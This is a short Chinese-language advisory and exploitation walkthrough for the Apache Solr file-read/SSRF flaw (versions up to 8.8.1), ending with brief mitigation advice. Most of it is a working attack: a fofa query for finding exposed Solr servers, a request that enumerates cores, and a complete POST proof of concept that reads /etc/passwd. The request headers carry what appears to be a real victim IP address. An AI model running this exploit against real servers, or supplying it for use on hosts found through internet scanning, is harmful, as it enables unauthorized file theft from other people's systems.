一、漏洞概述:
前段網上披露了Apache Solr的文件讀取與SSRF漏洞,由於Apache Solr默認安裝時未開啟身份驗證,導致未經身份驗證的攻擊者可利用Config API打開requestDispatcher.requestParsers.enableRemoteStreaming開關,從而利用漏洞進行文件讀取。
二、影響范圍:
Apache Solr <= 8.8.1(全版本)
三、漏洞利用:
1.自己本地搭建Apache Solr環境或者使用fofa找一台。
fofa語法如下:
app="Apache-Solr"

點一個進去:

2.GET請求敏感文件路徑獲取當前db名字。
http://xx.xx.xx.xx:8080/solr/admin/cores?indexInfo=false&wt=json
主要是獲取name的值

3.構造POC,將獲取到的name替換到post請求請求中並在請求數據中添加:stream.url=file:///etc/passwd
漏洞POC:
1 POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1 2 Host: xxx.xxx.xxx.xxx:8983 3 Content-Length: 29 4 Cache-Control: max-age=0 5 Upgrade-Insecure-Requests: 1 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 7 Origin: http://118.31.46.134:8983 8 Content-Type: application/x-www-form-urlencoded 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 10 Referer: http://118.31.46.134:8983/solr/ckan/config 11 Accept-Encoding: gzip, deflate 12 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 13 Connection: close 14 15 stream.url=file:///etc/passwd
利用結果如圖:

上圖顯示利用成功,讀取到了/etc/passwd文件信息。
四、漏洞防護
由於目前官方不予修復該漏洞,暫無安全版本。
可采用以下方式進行防護:
1. 開啟身份驗證/授權,參考官方文檔:https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html
2. 配置防火牆策略,確保Solr API(包括Admin UI)只有受信任的IP和用戶才能訪問。
